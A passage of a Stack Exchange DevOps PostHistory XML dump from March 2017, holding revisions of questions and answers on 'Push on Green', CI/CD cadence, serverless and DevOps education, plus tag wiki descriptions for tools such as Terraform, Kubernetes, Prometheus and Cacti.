bottleneck of the process lies. Any of the above categories can appear depending on the pattern of commits relative to the intervals between executions. This maximizes the verification resources ROI.&#xD;&#xA;&#xD;&#xA;5. launched with one pattern during working hours and a different pattern overnight - to balance computing resources utilisation, for example.&#xD;&#xA;&#xD;&#xA;Another possible reason for periodicity mismatch between CI and CD is the variability in the duration of the CI executions. Caused, for example, by that prohibited build schedule policy you mentioned (see also http://devops.stackexchange.com/questions/513/how-to-implement-a-frozen-test-environment) Or by builds executed on classes of servers with significantly different performance, thus lasting different amounts of time.&#xD;&#xA;&#xD;&#xA;Even for a successful CI execution in which the produced software version qualifies and is available for deployment it doesn't necessarily mean it will also be immediately deployed (or even deployed at all). There can be other criteria or policies preventing it (business reasons, for example).&#xD;&#xA;&#xD;&#xA;  [1]: http://softwareengineering.stackexchange.com/questions/334574/build-on-each-commit-continuous-delivery" ContentLicense="CC BY-SA 3.0" />
  <row Id="1798" PostHistoryTypeId="2" PostId="573" RevisionGUID="4dddef89-4ac9-4fd5-8fe9-70a27e527fb6" CreationDate="2017-03-19T10:24:50.407" UserId="397" Text="Within Google and other DevOps organisations, they talk about &quot;Push on Green&quot; which I am lead to believe is the practice of continuous delivery based upon a successful run of automated tests, and presumably deployments to pre-live environments.&#xD;&#xA;&#xD;&#xA;What exactly does &quot;Push on Green&quot; and what are the implications of applying it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1799" PostHistoryTypeId="1" PostId="573" RevisionGUID="4dddef89-4ac9-4fd5-8fe9-70a27e527fb6" CreationDate="2017-03-19T10:24:50.407" UserId="397" Text="What is &quot;Push on Green&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1800" PostHistoryTypeId="3" PostId="573" RevisionGUID="4dddef89-4ac9-4fd5-8fe9-70a27e527fb6" CreationDate="2017-03-19T10:24:50.407" UserId="397" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1801" PostHistoryTypeId="2" PostId="574" RevisionGUID="0a069c1e-941c-4bdb-9bed-45fc64f49a47" CreationDate="2017-03-19T12:19:53.080" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1802" PostHistoryTypeId="1" PostId="574" RevisionGUID="0a069c1e-941c-4bdb-9bed-45fc64f49a47" CreationDate="2017-03-19T12:19:53.080" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1803" PostHistoryTypeId="2" PostId="575" RevisionGUID="773488e1-d40a-4bad-8dca-5a80aa8bde3c" CreationDate="2017-03-19T12:19:53.080" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1804" PostHistoryTypeId="1" PostId="575" RevisionGUID="773488e1-d40a-4bad-8dca-5a80aa8bde3c" CreationDate="2017-03-19T12:19:53.080" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1805" PostHistoryTypeId="2" PostId="576" RevisionGUID="3c903b6a-bd78-40ea-b841-70c377d1ca09" CreationDate="2017-03-19T12:23:38.373" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1806" PostHistoryTypeId="1" PostId="576" RevisionGUID="3c903b6a-bd78-40ea-b841-70c377d1ca09" CreationDate="2017-03-19T12:23:38.373" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1807" PostHistoryTypeId="2" PostId="577" RevisionGUID="6a33251d-7107-4425-b044-be24b9d8bb5d" CreationDate="2017-03-19T12:23:38.373" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1808" PostHistoryTypeId="1" PostId="577" RevisionGUID="6a33251d-7107-4425-b044-be24b9d8bb5d" CreationDate="2017-03-19T12:23:38.373" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1809" PostHistoryTypeId="2" PostId="578" RevisionGUID="12a130e4-e678-4230-bdd3-a44483e93c91" CreationDate="2017-03-19T12:26:22.863" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1810" PostHistoryTypeId="1" PostId="578" RevisionGUID="12a130e4-e678-4230-bdd3-a44483e93c91" CreationDate="2017-03-19T12:26:22.863" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1811" PostHistoryTypeId="2" PostId="579" RevisionGUID="997ffc1d-3240-4650-b41f-a3c9f7f73258" CreationDate="2017-03-19T12:26:22.863" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1812" PostHistoryTypeId="1" PostId="579" RevisionGUID="997ffc1d-3240-4650-b41f-a3c9f7f73258" CreationDate="2017-03-19T12:26:22.863" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1813" PostHistoryTypeId="5" PostId="575" RevisionGUID="d6ee4def-b3b4-466d-a3c0-5594a65cb3ce" CreationDate="2017-03-19T13:41:29.147" UserId="40" Comment="added 57 characters in body" Text="For questions about  Site Reliability Engineering (=SRE)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1814" PostHistoryTypeId="24" PostId="575" RevisionGUID="d6ee4def-b3b4-466d-a3c0-5594a65cb3ce" CreationDate="2017-03-19T13:41:29.147" Comment="Proposed by 40 approved by 228, 47 edit id of 160" ContentLicense="CC BY-SA 3.0" />
  <row Id="1815" PostHistoryTypeId="2" PostId="580" RevisionGUID="497308f4-865d-4842-b219-70dcac2e2cd0" CreationDate="2017-03-19T13:50:20.503" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1816" PostHistoryTypeId="1" PostId="580" RevisionGUID="497308f4-865d-4842-b219-70dcac2e2cd0" CreationDate="2017-03-19T13:50:20.503" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1817" PostHistoryTypeId="2" PostId="581" RevisionGUID="f908b85f-d414-4de6-9b3f-2157207684e3" CreationDate="2017-03-19T13:50:20.503" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1818" PostHistoryTypeId="1" PostId="581" RevisionGUID="f908b85f-d414-4de6-9b3f-2157207684e3" CreationDate="2017-03-19T13:50:20.503" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1819" PostHistoryTypeId="2" PostId="582" RevisionGUID="0844bb56-0ff3-4d8c-b0b0-3593feed05db" CreationDate="2017-03-19T13:51:35.190" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1820" PostHistoryTypeId="1" PostId="582" RevisionGUID="0844bb56-0ff3-4d8c-b0b0-3593feed05db" CreationDate="2017-03-19T13:51:35.190" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1821" PostHistoryTypeId="2" PostId="583" RevisionGUID="ee0c3cfb-4f8f-4091-80fe-54da25f401c6" CreationDate="2017-03-19T13:51:35.190" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1822" PostHistoryTypeId="1" PostId="583" RevisionGUID="ee0c3cfb-4f8f-4091-80fe-54da25f401c6" CreationDate="2017-03-19T13:51:35.190" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1823" PostHistoryTypeId="2" PostId="584" RevisionGUID="92e7ca54-9576-4cad-a379-b39592f786b4" CreationDate="2017-03-19T13:59:29.427" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1824" PostHistoryTypeId="1" PostId="584" RevisionGUID="92e7ca54-9576-4cad-a379-b39592f786b4" CreationDate="2017-03-19T13:59:29.427" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1825" PostHistoryTypeId="2" PostId="585" RevisionGUID="f2e3280a-5fdb-4355-bd6f-c524daa18143" CreationDate="2017-03-19T13:59:29.427" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1826" PostHistoryTypeId="1" PostId="585" RevisionGUID="f2e3280a-5fdb-4355-bd6f-c524daa18143" CreationDate="2017-03-19T13:59:29.427" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1827" PostHistoryTypeId="4" PostId="10" RevisionGUID="94081cff-4618-4974-919a-e8b70ec0e165" CreationDate="2017-03-19T14:00:33.017" UserId="40" Comment="edited title" Text="How to use cloud-init with Terraform?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1828" PostHistoryTypeId="2" PostId="586" RevisionGUID="a5086f3e-38a2-4bc5-8452-92e6be332dde" CreationDate="2017-03-19T15:02:54.857" UserId="72" Text="I Googled &quot;Push on Green&quot; and the first link was:  &#xD;&#xA;https://www.usenix.org/conference/lisa14/conference-program/presentation/klein&#xD;&#xA;&#xD;&#xA;This was representative of almost the entire first page.  It looks like this term originated in Google's SRE group and has been taken up by the industry at large.  &#xD;&#xA;&#xD;&#xA;You are correct- &quot;push on green&quot; means that deployments are automatically executed when all tests pass.  This could be considered synonymous with &quot;Continuous Deployment.&quot;  The accepted method for automating deployments to environments is to automate testing.  &#xD;&#xA;&#xD;&#xA;If your automated testing is rigorous enough, you can deploy any code for which the tests pass.  In very mature enterprises (the DevOps unicorns of all shapes and sizes) this can lead to Continuous Deployment all the way to the production environment.  &#xD;&#xA;&#xD;&#xA;My personal experience is that reaching this level of automated testing is a challenge in any environment.  I am currently in the process of pursuing this level of maturity in my current position.  Our first major milestone will be &quot;push on green&quot; deployments to *any* environment beyond &quot;Integrated Development&quot; (our &quot;lowest&quot; environment.)  &#xD;&#xA;&#xD;&#xA;This challenge is both technical and cultural.  As IT organization, we owe it to our business stakeholders to prove that our testing *is* in fact rigorous enough to serve as the sole gateway to a deployment.  Once we have done that to our own satisfaction, we have to convince those stakeholders to let us try Continuous Deployment to the next environment (for us, this is QA.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1829" PostHistoryTypeId="5" PostId="586" RevisionGUID="14622bcc-56e1-4919-9a36-56f7f63ad3e4" CreationDate="2017-03-19T15:08:01.423" UserId="72" Comment="added 3 characters in body" Text="I Googled &quot;Push on Green&quot; and the first link was:  &#xD;&#xA;https://www.usenix.org/conference/lisa14/conference-program/presentation/klein&#xD;&#xA;&#xD;&#xA;This was representative of almost the entire first page.  It looks like this term originated in Google's SRE group and has been taken up by the industry at large.  &#xD;&#xA;&#xD;&#xA;You are correct- &quot;push on green&quot; means that deployments are automatically executed when all tests pass.  This could be considered synonymous with &quot;Continuous Deployment.&quot;  The accepted method for automating deployments to environments is to automate testing.  &#xD;&#xA;&#xD;&#xA;If your automated testing is rigorous enough, you can deploy any code for which the tests pass.  In very mature enterprises (the DevOps unicorns of all shapes and sizes) this can lead to Continuous Deployment all the way to the production environment.  &#xD;&#xA;&#xD;&#xA;My personal experience is that reaching this level of automated testing is a challenge in any enterprise.  I am currently in the process of pursuing this level of maturity in my current position.  Our first major milestone will be &quot;push on green&quot; deployments to *any* environment beyond &quot;Integrated Development&quot; (our &quot;lowest&quot; environment.)  &#xD;&#xA;&#xD;&#xA;This challenge is both technical and cultural.  As an IT organization, we owe it to our business stakeholders to prove that our testing *is* in fact rigorous enough to serve as the sole gateway to a deployment.  Once we have done that to our own satisfaction, we have to convince those stakeholders to let us try Continuous Deployment to the next environment (for us, this is QA.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1830" PostHistoryTypeId="2" PostId="587" RevisionGUID="5533292c-ec14-4351-b7e4-dd9ea1815945" CreationDate="2017-03-19T17:11:38.980" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1831" PostHistoryTypeId="1" PostId="587" RevisionGUID="5533292c-ec14-4351-b7e4-dd9ea1815945" CreationDate="2017-03-19T17:11:38.980" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1832" PostHistoryTypeId="2" PostId="588" RevisionGUID="65e273f9-6ce9-4ee0-8a1c-69e8cb3cca47" CreationDate="2017-03-19T17:11:38.980" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1833" PostHistoryTypeId="1" PostId="588" RevisionGUID="65e273f9-6ce9-4ee0-8a1c-69e8cb3cca47" CreationDate="2017-03-19T17:11:38.980" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1835" PostHistoryTypeId="5" PostId="585" RevisionGUID="f28c6dad-fa80-47c2-905d-14bf8ad3f424" CreationDate="2017-03-19T20:35:12.087" UserId="40" Comment="added 78 characters in body" Text="For questions about Terraform, an open source tool to maintain infrastructure." ContentLicense="CC BY-SA 3.0" />
  <row Id="1836" PostHistoryTypeId="24" PostId="585" RevisionGUID="f28c6dad-fa80-47c2-905d-14bf8ad3f424" CreationDate="2017-03-19T20:35:12.087" Comment="Proposed by 40 approved by 47, 228 edit id of 165" ContentLicense="CC BY-SA 3.0" />
  <row Id="1837" PostHistoryTypeId="5" PostId="583" RevisionGUID="a1b8f788-424e-4acd-afcd-f1ed79b46676" CreationDate="2017-03-19T20:35:19.230" UserId="40" Comment="added 65 characters in body" Text="For questions about TeamCity, one of the often-used CI softwares." ContentLicense="CC BY-SA 3.0" />
  <row Id="1838" PostHistoryTypeId="24" PostId="583" RevisionGUID="a1b8f788-424e-4acd-afcd-f1ed79b46676" CreationDate="2017-03-19T20:35:19.230" Comment="Proposed by 40 approved by 47, 228 edit id of 164" ContentLicense="CC BY-SA 3.0" />
  <row Id="1839" PostHistoryTypeId="5" PostId="584" RevisionGUID="1d197522-3cb9-4bfe-b9da-3ec0ff20f044" CreationDate="2017-03-19T20:35:26.943" UserId="40" Comment="added 509 characters in body" Text="From the [Terraform][1] website:&#xD;&#xA;&#xD;&#xA;&gt; Terraform enables you to safely and predictably create, change, and improve production infrastructure. It is an open source tool that codifies APIs into declarative configuration files that can be shared amongst team members, treated as code, edited, reviewed, and versioned.&#xD;&#xA;&#xD;&#xA;### Resources&#xD;&#xA;&#xD;&#xA;- [Documentation][2].&#xD;&#xA;- [Community][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/&#xD;&#xA;  [2]: https://www.terraform.io/docs/index.html&#xD;&#xA;  [3]: https://www.terraform.io/community.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1840" PostHistoryTypeId="24" PostId="584" RevisionGUID="1d197522-3cb9-4bfe-b9da-3ec0ff20f044" CreationDate="2017-03-19T20:35:26.943" Comment="Proposed by 40 approved by 47, 228 edit id of 166" ContentLicense="CC BY-SA 3.0" />
  <row Id="1841" PostHistoryTypeId="5" PostId="577" RevisionGUID="a99a7bfb-d321-42ee-8459-04b3156f2ef8" CreationDate="2017-03-19T20:51:09.307" UserId="40" Comment="added 89 characters in body" Text="For questions about immutable servers, which are servers on which no changes can be made." ContentLicense="CC BY-SA 3.0" />
  <row Id="1842" PostHistoryTypeId="24" PostId="577" RevisionGUID="a99a7bfb-d321-42ee-8459-04b3156f2ef8" CreationDate="2017-03-19T20:51:09.307" Comment="Proposed by 40 approved by 47, 46 edit id of 161" ContentLicense="CC BY-SA 3.0" />
  <row Id="1843" PostHistoryTypeId="5" PostId="579" RevisionGUID="880adb1b-b8ba-4f7e-8d50-8e295ffc6704" CreationDate="2017-03-19T20:51:11.910" UserId="40" Comment="added 107 characters in body" Text="For questions about set of tools that facilitate the delivery, development, and management of applications." ContentLicense="CC BY-SA 3.0" />
  <row Id="1844" PostHistoryTypeId="24" PostId="579" RevisionGUID="880adb1b-b8ba-4f7e-8d50-8e295ffc6704" CreationDate="2017-03-19T20:51:11.910" Comment="Proposed by 40 approved by 47, 46 edit id of 162" ContentLicense="CC BY-SA 3.0" />
  <row Id="1845" PostHistoryTypeId="5" PostId="588" RevisionGUID="93ef8cc9-0698-4c57-b6c1-d9be8d3540e5" CreationDate="2017-03-19T20:51:21.047" UserId="40" Comment="added 75 characters in body" Text="For questions about Drupal, an open source Content Management System (CMS)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1846" PostHistoryTypeId="24" PostId="588" RevisionGUID="93ef8cc9-0698-4c57-b6c1-d9be8d3540e5" CreationDate="2017-03-19T20:51:21.047" Comment="Proposed by 40 approved by 47, 46 edit id of 167" ContentLicense="CC BY-SA 3.0" />
  <row Id="1847" PostHistoryTypeId="5" PostId="581" RevisionGUID="f4bbc20c-ba8f-48ee-bcea-8abe8d3778f0" CreationDate="2017-03-19T20:51:23.670" UserId="40" Comment="added 65 characters in body" Text="For questions about CircleCI, one of the often-used CI softwares." ContentLicense="CC BY-SA 3.0" />
  <row Id="1848" PostHistoryTypeId="24" PostId="581" RevisionGUID="f4bbc20c-ba8f-48ee-bcea-8abe8d3778f0" CreationDate="2017-03-19T20:51:23.670" Comment="Proposed by 40 approved by 47, 46 edit id of 163" ContentLicense="CC BY-SA 3.0" />
  <row Id="1849" PostHistoryTypeId="2" PostId="589" RevisionGUID="d27f5b58-65c9-48d5-bde2-8d324aed4d37" CreationDate="2017-03-19T21:05:23.850" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1850" PostHistoryTypeId="1" PostId="589" RevisionGUID="d27f5b58-65c9-48d5-bde2-8d324aed4d37" CreationDate="2017-03-19T21:05:23.850" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1851" PostHistoryTypeId="2" PostId="590" RevisionGUID="9147fc5e-b6d4-436d-bfe4-5538e6274c50" CreationDate="2017-03-19T21:05:23.850" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1852" PostHistoryTypeId="1" PostId="590" RevisionGUID="9147fc5e-b6d4-436d-bfe4-5538e6274c50" CreationDate="2017-03-19T21:05:23.850" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1853" PostHistoryTypeId="2" PostId="591" RevisionGUID="160f9081-75a2-446b-a446-3ddf450e3ad5" CreationDate="2017-03-19T21:09:38.280" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1854" PostHistoryTypeId="1" PostId="591" RevisionGUID="160f9081-75a2-446b-a446-3ddf450e3ad5" CreationDate="2017-03-19T21:09:38.280" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1855" PostHistoryTypeId="2" PostId="592" RevisionGUID="b6128944-e455-4c1a-9172-9f0edd0cbb34" CreationDate="2017-03-19T21:09:38.280" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1856" PostHistoryTypeId="1" PostId="592" RevisionGUID="b6128944-e455-4c1a-9172-9f0edd0cbb34" CreationDate="2017-03-19T21:09:38.280" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1857" PostHistoryTypeId="2" PostId="593" RevisionGUID="a860a685-38d9-40d6-bc61-e7d2f9843fb7" CreationDate="2017-03-19T21:17:52.627" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1858" PostHistoryTypeId="1" PostId="593" RevisionGUID="a860a685-38d9-40d6-bc61-e7d2f9843fb7" CreationDate="2017-03-19T21:17:52.627" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1859" PostHistoryTypeId="2" PostId="594" RevisionGUID="d6f81c5b-1117-441c-aee2-e2c21a19213c" CreationDate="2017-03-19T21:17:52.627" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1860" PostHistoryTypeId="1" PostId="594" RevisionGUID="d6f81c5b-1117-441c-aee2-e2c21a19213c" CreationDate="2017-03-19T21:17:52.627" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1861" PostHistoryTypeId="2" PostId="595" RevisionGUID="d15770f1-06e1-4e93-9619-35cb0293894a" CreationDate="2017-03-19T21:20:33.763" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1862" PostHistoryTypeId="1" PostId="595" RevisionGUID="d15770f1-06e1-4e93-9619-35cb0293894a" CreationDate="2017-03-19T21:20:33.763" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1863" PostHistoryTypeId="2" PostId="596" RevisionGUID="fce220cc-2232-4ba1-8efc-4983c2a3d5ea" CreationDate="2017-03-19T21:20:33.763" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1864" PostHistoryTypeId="1" PostId="596" RevisionGUID="fce220cc-2232-4ba1-8efc-4983c2a3d5ea" CreationDate="2017-03-19T21:20:33.763" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1868" PostHistoryTypeId="5" PostId="596" RevisionGUID="0ffdcace-01ee-489e-abec-ef202971120b" CreationDate="2017-03-20T03:28:59.137" UserId="40" Comment="added 135 characters in body" Text="For questions about Kubernetes, an open-source system for automating deployment, scaling, and management of containerized applications." ContentLicense="CC BY-SA 3.0" />
  <row Id="1869" PostHistoryTypeId="24" PostId="596" RevisionGUID="0ffdcace-01ee-489e-abec-ef202971120b" CreationDate="2017-03-20T03:28:59.137" Comment="Proposed by 40 approved by 47, 228 edit id of 173" ContentLicense="CC BY-SA 3.0" />
  <row Id="1870" PostHistoryTypeId="5" PostId="593" RevisionGUID="a646c504-8dee-46b8-b5d6-26350f1ecaf2" CreationDate="2017-03-20T03:29:10.463" UserId="40" Comment="added 752 characters in body" Text="About Prometheus (from [prometheus.io](https://prometheus.io/docs/introduction/overview/)):&#xD;&#xA;&#xD;&#xA;&gt; [Prometheus](https://github.com/prometheus) is an open-source systems monitoring and alerting toolkit originally built at [SoundCloud](http://soundcloud.com/). Since its inception in 2012, many companies and organizations have adopted Prometheus, and the project has a very active developer and user [community](https://prometheus.io/community). It is now a standalone open source project and maintained independently of any company. To emphasize this and clarify the project's governance structure, Prometheus joined the [Cloud Native Computing Foundation](https://cncf.io/) in 2016 as the second hosted project after [Kubernetes](http://kubernetes.io/)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1871" PostHistoryTypeId="24" PostId="593" RevisionGUID="a646c504-8dee-46b8-b5d6-26350f1ecaf2" CreationDate="2017-03-20T03:29:10.463" Comment="Proposed by 40 approved by 47, 228 edit id of 171" ContentLicense="CC BY-SA 3.0" />
  <row Id="1872" PostHistoryTypeId="5" PostId="592" RevisionGUID="b1f5a7d4-ca21-49b4-9308-cf03e88301e4" CreationDate="2017-03-20T03:29:14.927" UserId="40" Comment="added 58 characters in body" Text="For questions about Nagios, a generic monitoring solution." ContentLicense="CC BY-SA 3.0" />
  <row Id="1873" PostHistoryTypeId="24" PostId="592" RevisionGUID="b1f5a7d4-ca21-49b4-9308-cf03e88301e4" CreationDate="2017-03-20T03:29:14.927" Comment="Proposed by 40 approved by 47, 228 edit id of 170" ContentLicense="CC BY-SA 3.0" />
  <row Id="1880" PostHistoryTypeId="2" PostId="599" RevisionGUID="e194543e-f426-4ac5-a5bd-4e9488f134bc" CreationDate="2017-03-20T04:21:01.173" UserId="228" Text="I am looking for a university that has a good PhD program in theoretical DevOps topics. Especially any program that is trying to advance the beyond Deming's Theory of Profound Knowledge, Goldratt's Theory of Constraints and other related topics. Do you know a professor specifically interested in running a program like that and currently doing advanced research in this field?&#xD;&#xA;&#xD;&#xA;I've found some companies, which do consulting in this area and try to push it forward, but I am having problems to find some program in academic setting with sufficient credibility." ContentLicense="CC BY-SA 3.0" />
  <row Id="1881" PostHistoryTypeId="1" PostId="599" RevisionGUID="e194543e-f426-4ac5-a5bd-4e9488f134bc" CreationDate="2017-03-20T04:21:01.173" UserId="228" Text="Which university has a good postgraduate DevOps program?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1882" PostHistoryTypeId="3" PostId="599" RevisionGUID="e194543e-f426-4ac5-a5bd-4e9488f134bc" CreationDate="2017-03-20T04:21:01.173" UserId="228" Text="&lt;learning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1883" PostHistoryTypeId="2" PostId="600" RevisionGUID="f7a6f4f7-d201-4c9e-8e0f-6ab1dbdd078c" CreationDate="2017-03-20T04:48:09.343" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1884" PostHistoryTypeId="1" PostId="600" RevisionGUID="f7a6f4f7-d201-4c9e-8e0f-6ab1dbdd078c" CreationDate="2017-03-20T04:48:09.343" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1885" PostHistoryTypeId="2" PostId="601" RevisionGUID="59369506-69b7-41f5-8213-6557f488b681" CreationDate="2017-03-20T04:48:09.343" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1886" PostHistoryTypeId="1" PostId="601" RevisionGUID="59369506-69b7-41f5-8213-6557f488b681" CreationDate="2017-03-20T04:48:09.343" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1887" PostHistoryTypeId="5" PostId="589" RevisionGUID="b3a9e218-a3cf-4683-acd7-4f17963531fc" CreationDate="2017-03-20T05:41:22.307" UserId="40" Comment="added 510 characters in body" Text="About Cacti (from [Cacti.net](http://www.cacti.net/)):&#xD;&#xA;&#xD;&#xA;&gt; Cacti is a complete network graphing solution designed to harness the power of [RRDTool](http://www.rrdtool.org/)'s data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box. All of this is wrapped in an intuitive, easy to use interface that makes sense for LAN-sized installations up to complex networks with thousands of devices." ContentLicense="CC BY-SA 3.0" />
  <row Id="1888" PostHistoryTypeId="24" PostId="589" RevisionGUID="b3a9e218-a3cf-4683-acd7-4f17963531fc" CreationDate="2017-03-20T05:41:22.307" Comment="Proposed by 40 approved by 47, 46 edit id of 168" ContentLicense="CC BY-SA 3.0" />
  <row Id="1889" PostHistoryTypeId="5" PostId="594" RevisionGUID="691a05cc-6a69-45ae-b160-24d4e7014f78" CreationDate="2017-03-20T05:41:25.000" UserId="40" Comment="added 87 characters in body" Text="For questions about Prometheus, an open-source systems monitoring and alerting toolkit." ContentLicense="CC BY-SA 3.0" />
  <row Id="1890" PostHistoryTypeId="24" PostId="594" RevisionGUID="691a05cc-6a69-45ae-b160-24d4e7014f78" CreationDate="2017-03-20T05:41:25.000" Comment="Proposed by 40 approved by 47, 46 edit id of 172" ContentLicense="CC BY-SA 3.0" />
  <row Id="1891" PostHistoryTypeId="5" PostId="590" RevisionGUID="5d777229-3e78-4bed-b370-7bff4c8015e6" CreationDate="2017-03-20T05:41:27.490" UserId="40" Comment="added 126 characters in body" Text="For question about Cacti, a complete frontend to RRDTool (= OpenSource data logging and graphing system for time series data)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1892" PostHistoryTypeId="24" PostId="590" RevisionGUID="5d777229-3e78-4bed-b370-7bff4c8015e6" CreationDate="2017-03-20T05:41:27.490" Comment="Proposed by 40 approved by 47, 46 edit id of 169" ContentLicense="CC BY-SA 3.0" />
  <row Id="1893" PostHistoryTypeId="5" PostId="601" RevisionGUID="37e92a49-a3ae-4aa6-8053-a24ad35a069e" CreationDate="2017-03-20T06:08:34.497" UserId="228" Comment="added 251 characters in body" Text="Use for generic questions on containers that do not fall under a specific container technology, like Docker, LXC, FreeBSD Jails, OpenBSD sysjails, Solaris Containers, WPARs, etc.  Also use where the specific technology is not relevant to the question." ContentLicense="CC BY-SA 3.0" />
  <row Id="1894" PostHistoryTypeId="24" PostId="601" RevisionGUID="37e92a49-a3ae-4aa6-8053-a24ad35a069e" CreationDate="2017-03-20T06:08:34.497" Comment="Proposed by 228 approved by 46, 40 edit id of 175" ContentLicense="CC BY-SA 3.0" />
  <row Id="1895" PostHistoryTypeId="5" PostId="600" RevisionGUID="1b2c3de0-e9e1-4a7e-87ff-e0239f91dba3" CreationDate="2017-03-20T06:08:38.880" UserId="228" Comment="added 422 characters in body" Text="Containers are [Operating System level Virtualization][1] technology. Where kernel of OS allows for the existence of multiple isolated user-space instances. Containers may appear as fully virtualize operating system, nevertheless they share kernel with the host OS and any issue affecting the kernel may equally affect all running containers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Operating-system-level_virtualization" ContentLicense="CC BY-SA 3.0" />
  <row Id="1896" PostHistoryTypeId="24" PostId="600" RevisionGUID="1b2c3de0-e9e1-4a7e-87ff-e0239f91dba3" CreationDate="2017-03-20T06:08:38.880" Comment="Proposed by 228 approved by 46, 40 edit id of 174" ContentLicense="CC BY-SA 3.0" />
  <row Id="1897" PostHistoryTypeId="5" PostId="491" RevisionGUID="6bc6ab61-24f5-4a03-b545-2c484f2eb762" CreationDate="2017-03-20T07:25:13.953" UserId="446" Comment="edited body" Text="I think the easiest way is to change their performance goals so they are based off reliability as well as delivering code. Sell it as the company cannot succed without both so why should the developers only be measured on one? The best way for them then to meet their performance goals is to be involved in operations.&#xA;&#xA;Ultimately you need to convince them this is the best way for the company succeed and therefore for them to succeed. That's hard and you can't expect them to be onboard from the start. They need to be sold on the value too." ContentLicense="CC BY-SA 3.0" />
  <row Id="1899" PostHistoryTypeId="5" PostId="509" RevisionGUID="d4e77542-fd60-403a-beed-9511af3b0d91" CreationDate="2017-03-20T07:54:41.477" UserId="40" Comment="Improve link title and fix typo" Text="All great answers already. I was going through the blog post [Thinking Serverless — How New Approaches Address Modern Data Processing Needs][1] in HighScalability, where I've come across this excellent explanation of what serverless means:&#xD;&#xA;&#xD;&#xA;&gt; The phrase “serverless” doesn’t mean servers are no longer involved.&#xD;&#xA;&gt; It simply means that developers no longer have to think that much&#xD;&#xA;&gt; about them. Computing resources get used as services without having to&#xD;&#xA;&gt; manage around physical capacities or limits. Service providers&#xD;&#xA;&gt; increasingly take on the responsibility of managing servers, data&#xD;&#xA;&gt; stores and other infrastructure resources…Going serverless lets&#xD;&#xA;&gt; developers shift their focus from the server level to the task level.&#xD;&#xA;&gt; Serverless solutions let developers focus on what their application or&#xD;&#xA;&gt; system needs to do by taking away the complexity of the backend&#xD;&#xA;&gt; infrastructure.&#xD;&#xA;&#xD;&#xA;And, one more learning from my personal experience in building serverless infrastructure is:&#xD;&#xA;&#xD;&#xA; - Serverless data pipelines don't really need to be real-time only. One can build efficient batch-processing serverless pipelines via AWS's CloudWatch alert mechanisms, which allows 